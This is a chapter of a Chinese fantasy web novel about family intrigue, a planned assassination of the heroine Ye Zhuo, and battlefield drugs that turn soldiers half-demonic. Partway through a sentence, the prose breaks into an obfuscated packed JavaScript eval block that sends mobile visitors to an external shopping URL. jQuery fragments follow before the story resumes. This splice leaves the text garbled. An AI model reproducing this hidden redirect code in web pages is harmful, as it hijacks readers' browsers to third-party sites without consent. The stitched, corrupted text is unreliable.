176. 倚剑长歌一杯酒(7)
作品:《魔道二五仔想攻略我》 晏行歌时刻关注叶酌的动向,走出一段路后放出神识,发现她在专心慰问伤残士卒,不由得加快了脚步,目标明确地拐向一处密林。
便在身影即将消失之际,远处的叶酌偏过头,正瞧见被树丛吞没的衣角,她自嘲地笑了笑,垂下眼睫。
晏行歌神识外放,搜查四周,从一棵树的树洞内摸出张洁白宣纸——某种特殊材质的、南域纸家出产的纸。
用特殊方法看到眼纸上内容,青年手中升起一团火焰,迅速毁尸灭迹。
一个早上过去了,晏行歌找到叶酌,笑着道:“发现处风水不错的小树林,适合布置咒杀局,引魔族前往。”
叶酌早收到暗卫来报,因对方警惕性高,暗卫并未跟得太近,只知林子内发生过短暂的火焰燃烧,具体情况不明。
她一时拿不准晏行歌是真这么想,还是另有所图,面上笑呵呵应道:“需要枫家帮忙吗?”
晏行歌摇了摇头,“箕州一战中枫家损失精英过半,还是让他们修养一阵吧,恰巧晏家军就在附近,让他们来打下手吧。”
叶酌眨了眨眸子,笑道:“倒是疏忽了,一事不烦二主,那就劳烦晏家了。”
“一切为了东域。”
打完官腔,晏行歌垂下眸子,抬手将一束花草递到叶酌面前,随后又飞快地瞥了对面人一眼,紧接着迅速移开视线,语气里也带上点紧张。
“再往前一点的山谷里有种奇特的花,漫山遍野被魔气侵蚀的草木中,唯独它绽放绚烂,我想或许有什么抵抗魔族的功效,就采了些来。”
叶酌盯着被递到面前一大捧花,手指动了动,心绪千回百转只在一瞬间,抬手接过的动作很自然,脸上适时露出一点点惊奇。
“那就替前线战士谢谢你了。”叶家主公事公办来了一句,在欣赏完对面略失落的表情后,话锋一转,“花很好看,你也是。”
说完似有些羞涩,转身便走开了。
徒留晏行歌在原地怔愣许久,最后无奈地摇摇头,跟了上去。
“哈哈哈,终于等到了,终于轮到我晏家施展拳脚了啊。”晏家军军营,晏家主桌案前摊着两份密文,一封印着震木王府徽记,一封勾勒神魄教印信,并排放在一起。
晏家主来回踱步,招了招手叫来随从,“叫行歌抽空出来见一面,他这次做得不错啊哈哈哈。”
晏家军行至前线,晏行歌前去迎接,主要是阐明咒杀局的布置思路。
“行歌呐,一年没见,瘦了啊。”晏家主作为父亲,关爱的话张口就来。
晏行歌接得也很自然,“爹爹也清减了,近来身体可好?”
“好得很好得很呐,这随军作战辛苦啊,不过为了东域,好好干。”晏家主拍了拍儿子的肩,父子俩并肩走向那片被划出的树林,“听说你想通过咒杀抵御魔族,为父来看看此地风水啊哈哈哈。”
“父亲请。”晏行歌后退一小步,微微欠身,伸臂指引。
晏家主一马当先,龙行虎步,落后半个身位的晏行歌身姿挺拔,雍容雅步,第三梯队的侍从隔得更远,走到树林边缘便不再往前进了,两列纵队扇形展开,呈半包围之势封住路口。
直至走入林内一段路,周围只剩下风吹鸟鸣,晏家主挥手布下结界,方才开口。
“上头开始查仙引了,不过不用急,这时才察觉已经晚了。”晏家主三言两语概括完军中悄然发生之事,对低着头呈顺从姿态的儿子道,“行歌,你跟在叶酌身边不少年了吧。”
晏行歌眸底冷光乍现,抬起头时姿态恭敬,“无论多少年,晏行歌自始至终都姓晏。”
从看似平常的话语中捕捉说话者深意,他向来有这天赋,晏家至今还能活着的人,都有这份天赋。
晏家主一愣,随后哈哈大笑,“好,好啊,不愧是我的儿子,不愧是我的得意之作。”
“既然如此,回头晏留白刺杀叶酌的时候,你就配合一下吧。”晏家主捋着胡子,笑容和善,“两名晏家顶级咒师出手,便是化神修士,也得饮恨哈哈哈哈。”
晏行歌垂下眸子,抱拳躬身,“还请父亲将此机会留给行歌。”
“怎么,舍不得?”晏家主眯起眼,面容慈祥依旧,“少小相识,相伴至今,人生中最美好的年华都一起度过,割舍不下,也算人之常情。”
晏行歌一寸寸抬眸,眼底古井无波,“父亲误会了。”
“靡不有初,鲜克有终,只是想善始善终罢了。她是我一手捧起的浮生剑主、东域之星、叶家家主,也该由我终结她的辉煌。”
“毕竟她也是我的,得意之作。”
熟悉的字眼触动了晏家主的神经,他微微转动眼珠,像冷血生物观察人类一般,认认真真注视自己儿子良久,最终拍拍他的肩,“好好干,干好了,下任家主很快就是你。”
“父亲正值壮年,行歌还需更多磨砺才是。”晏行歌垂下眸。
晏家主看着如此会说话的儿子,转过身遥望隔着一片山谷的魔族阵地,“那就再加派两名长老护持,毕竟是我儿子,爹不会轻易拿你当弃子的。”
说得好像在增加帮手,但晏行歌更相信,这是为了防止他放水而布置的后手。
不愧是晏家主啊,能坐上这位子的,没一个善茬。
贵公子勾了勾唇,哂笑。
“杀了叶酌,晏氏在东域的生意将无人能阻。其实这天下归人族还是归魔族又有什么区别呢,都不影响咱们当老爷嘛,像叶酌这种脑筋转不过弯的人毕竟是少数。”
晏家主挥挥手,“你有句话我很喜欢,做人嘛就该善始善终,去吧。”
晏行歌作了一揖,快步离开。
盯着儿子远去的背影良久,晏家主笑了笑,对着空荡的树林深处喊道:“止欢,仙引跟艳髓的事情,你就跟进一下吧,这事儿办完了,也可以抽空看看妹妹。”
明晃晃的威胁,林子内未现身的人低低“嗯”了一声。
外边,叶酌面色不善,怒斥一众高官,“仙引在军中传播之事,为何不报?”
“这这这······”
“那那那······”
一众高级军官支支吾吾,推推搡搡,谁也说不出个完整的句子。
“梁将军,这里你职位最高,你来说说。”叶酌是真生气了,一众下属抓着重要军情不上报,等她收到消息时,军中大半都知道了此种奇药,还有人重金求购。
“王爷,我们这也是小心求证嘛。你也知晓并非人人都有修仙之资,难得出了款能打破仙凡壁垒的奇药,这哪里瞒得住嘛,虽然副作用大了些,但也是凡人此生能突破自身极限的唯一机会了,就算及时上报,最后情况不也跟现在差不多嘛。”梁将军开始还有些心虚,后来越说越理直气壮,连躲闪的眼神也变得坚定起来。
“况且也不是没有替代品嘛,同一家药铺推出的艳髓也很适合我们的战士,不仅能缓解疼痛,还能帮助战士克服恐惧、作战更勇猛。”
“我们试验过了,食用了艳髓的战士能不眠不休奋战三天三夜!您知道这对于现在缺粮缺军饷的状况有多大缓解吗?”
“要我说,艳髓、仙引虽然副作用大了些,却都是适用战场的良药啊,是救东域的灵丹妙药!”
他的话得到一众军官赞同。
叶酌简直被气笑,眸中血色翻涌,喉头滚动,一股漫延而上的腥甜味被强行压下,她低笑出声,“那么,这一次,又有多少家族搅和其中?”
“我是指贩卖药物、宣传药效,以及向我隐瞒消息的——都有谁参与了?”
“说出来,让本王都认识一下。”
底下一看一个不吱声,不敢对视的眼神说明了一切,叶酌只觉手痒又有点想痛揍友军。
“你们可真棒。”扫视全场,将所有人的脸都记住,震木王也不再废话,转身走人。
“晏卿呢?”身边少了个人,感觉有点空落,叶酌扭头问身后亲卫。
叶雪泥低头应道:“晏大人早上前往晏家军了。”
叶酌点点头,递上一枚定位符,“回来后,让他只身来寻我。”
“家主?”叶雪泥惊愕抬头。
叶酌疲惫地按了按眉心,哼笑出声,“世家构筑的人族军是抵抗不了魔族的,你们也别跟着我了,去找涤尘剑主青稚雅,如果她身边出现一支名为清平乐的队伍······不,有任何人,只要是行利民之事,就保护在他们身边,要像保护我一样保护他们。”
“家主!”叶雪泥几乎破音,惊骇望向面色似讥讽似颓然的震木王,意气风发了整场青春岁月的女子摊开手。
“浮生,剑来。”
奇迹发生了,无数次召唤无响应的灵剑,再一次与它的主人产生了联系。
冥冥中,有什么被打破了。
叶酌轻盈跃上破空而来的飞剑,转身对一众茫然无措的下属道:“世家迟早会把整个天下卖出去,然后与下一任帝皇共同对百姓敲骨吸髓,谁做皇帝不重要,压迫大多数人对他们很重要。”
“找到真正以民为本的势力,那才是人族的希望。”
亲卫们心中产生强烈的不安,叶雪泥大声呼喊:“王爷,您要抛下我们吗?”
此刻的王爷似乎要去做某件大事,可她并不打算带上任何人。
叶雪泥直觉那件事极危险,王爷,似乎不打算回来了,可她是那么负责人的人,什么情况才会一向心软的她丢下心心念念的东域?
除非,她回不来了。
想到此处的叶雪泥顿时慌了神,不顾一切地想跟上。
“别跟来。”叶酌却预判了他的动作,丢下象征王族权柄的令牌,“马上离开军营,别回叶家也别相信其他世家,去辅佐能带领人族胜利的领袖吧。”
说罢她催动剑诀,破空而去,飞到半空又想起个人,拿出传讯牌隔空喊话,“原袖,接下来东域会乱,回王都吧,顺便转告皇后娘娘,世家救不了重溟,能救重
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085927|160750||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
溟的只有重溟子民。”
东域与南域接壤的某条战线,一支急行军翻越过连绵大山,前方斥候来报,“往前二十里有一座村庄,可稍作休整。”
领头的军官摊开舆图,对底下吩咐了句,“在强调一遍军纪啊,公平买卖,不得扰民,补充完物资就走。”
“是!”手下一众兵卒应声,随后有一人举手。
“说。”
“报,大奎二奎身上这个,这个样子恐怕不太好进村。”举手的人结结巴巴,被他搀扶的战友身上有魔化的痕迹,显然是使用仙引的后遗症,也多亏这两位兄弟,他们一队才能在上一场魔族遭遇战时取胜。
虽然兄弟是为了东域才变成这样,可不知情的百姓或许会害怕,遇到不明就里的同阵营其他友军也难解释,是以举手的士兵有些踟蹰。
队长沉思片刻,从储物袋里找出两件袍子丢了过去,“先罩住,我们买完粮就走,你们几个看好他们俩。”
他又点了两个兵卒,被点到之人连连点头。
“放心吧队长,大奎二奎可是咱全队的救命恩人,一定照顾得妥妥的。”
一行人做了简单伪装,沿着山道通往这座尚未被战火覆盖的村庄。
望风的村人远远瞧见一队军容整肃的壮汉向本村进发,即刻吹起鸟哨,尖锐的鸟鸣瞬时响彻并不大的村庄。
听着这特殊频率,村人无论在干什么,纷纷放下手上活计往家赶,进了家后急忙用一切能找到的东西堵上大门,男人抄起扁担锄头挡在一家子面前,紧张地盯着那脆弱得仿佛随时都会被攻破的门板。
如此激烈的反应,自然瞒不过这支小队的侦察,队长眨眨眼,纳闷道:“这是把咱当山匪了?可俺记得这一带没匪患啊?”
副队摇摇头,“身处交战地,碰见陌生人进村害怕是正常的。”
说罢他一马当先走进空旷的村庄,高声道:“乡亲们莫怕,我等乃角州府守军第四营斥候队,想与乡亲们换些米粮,换完就走,绝不扰民!”
他重复了几遍同样的话,无人应答。
“队长,都躲在屋里不敢出来。”副队用神识扫了圈,低声道,“可能有些怕人。”
队长挠挠头,军纪不允许他们做出破门而入的举动,只能继续动之以情晓之以利,然而任他把价格提得多高,都无人应声。
“奇了怪了,就算村子偏僻用不上金银之物,草药、盐巴之类的消耗品总需要吧,怎么没一个人需要的?”
斥候队为此感到惊奇。
“算了队长,或许这个村儿的人格外胆小,刚刚从山上往下看,这一片还有好几个村儿,我们去其他村子吧。”
“也只能如此了。”
这支小队接连走了好几个村,都没能敲开一家门。
队长面色凝重,“一定发生大事了,这里离前线太近了,我们必须查清。”
功夫不负有心人,蹲守数日后,他们遇上了另一队士兵,一队先是和和气气敲门无果后暴力砸门的重甲兵团。
掀开遮盖住身体的斗篷,这一队中竟有近半数的人都异化成半人半魔的样子。
“难怪不给咱们开门,乡亲们不会把咱们当成与他们一伙儿的了吧?”队长气愤捶地,骂骂咧咧,“欺负老百姓就是欺负咱亲兄弟,看老子不打断他们的腿!”
他刚想从猫着的石头后起身,就被副队一把拽住。
“不对劲。”面对魔化的士兵,副队担心被发现便未用神识探查,远远用肉眼瞧着,也发现几分端倪。
除开那些浑身散发着魔气的半魔人,余下还有人样的士兵——其实也不大像人。
他们有的脾气暴躁,村人不给开门就暴跳如雷,抽出刀一阵乱劈,劈的位置也不完全是对着门,有时候劈着劈着就劈到隔壁邻居家去了。
有的浑身抽搐,跳着不知道哪个地区的舞步,对着空气痴笑,一边伸手乱抓一边喊“艳髓,给我更多艳髓”,活像得了失心疯。
还有的上一刻还抱头蹲地上痛哭,嚷嚷着“我要回家”,下一刻就暴起袭杀自己的队友,边上人乐呵呵看着,也没人上前阻止,无人调停的结果就是真的有人被队友砍死了。
斥候小队观察了一会儿,越看越心惊。
“这真是咱东域的兵?不是魔族派往我族内部捣乱的奸细?”有队员发出灵魂质问。
队长也很茫然,看着那眼熟的军服,用几乎听不到的音量喃喃,“是的······吧?”
“啊!”伴随着破门声响的,是女子的尖叫,瞬间将恍恍惚惚的斥候队拉回人间。
半魔化士兵猖狂的大笑与百姓的哭号,混合成旷野上荒诞的曲调。
“妈的,不能忍了,兄弟们跟我冲啊!”
即便所剩弹药无几,即便兵力不足对面,即便没弄清奇怪事件后的起因,斥候小队依旧发起了冲锋,他们不允许人族地界发生同胞被异族欺凌的事件。
我等斥候,亦是军人。

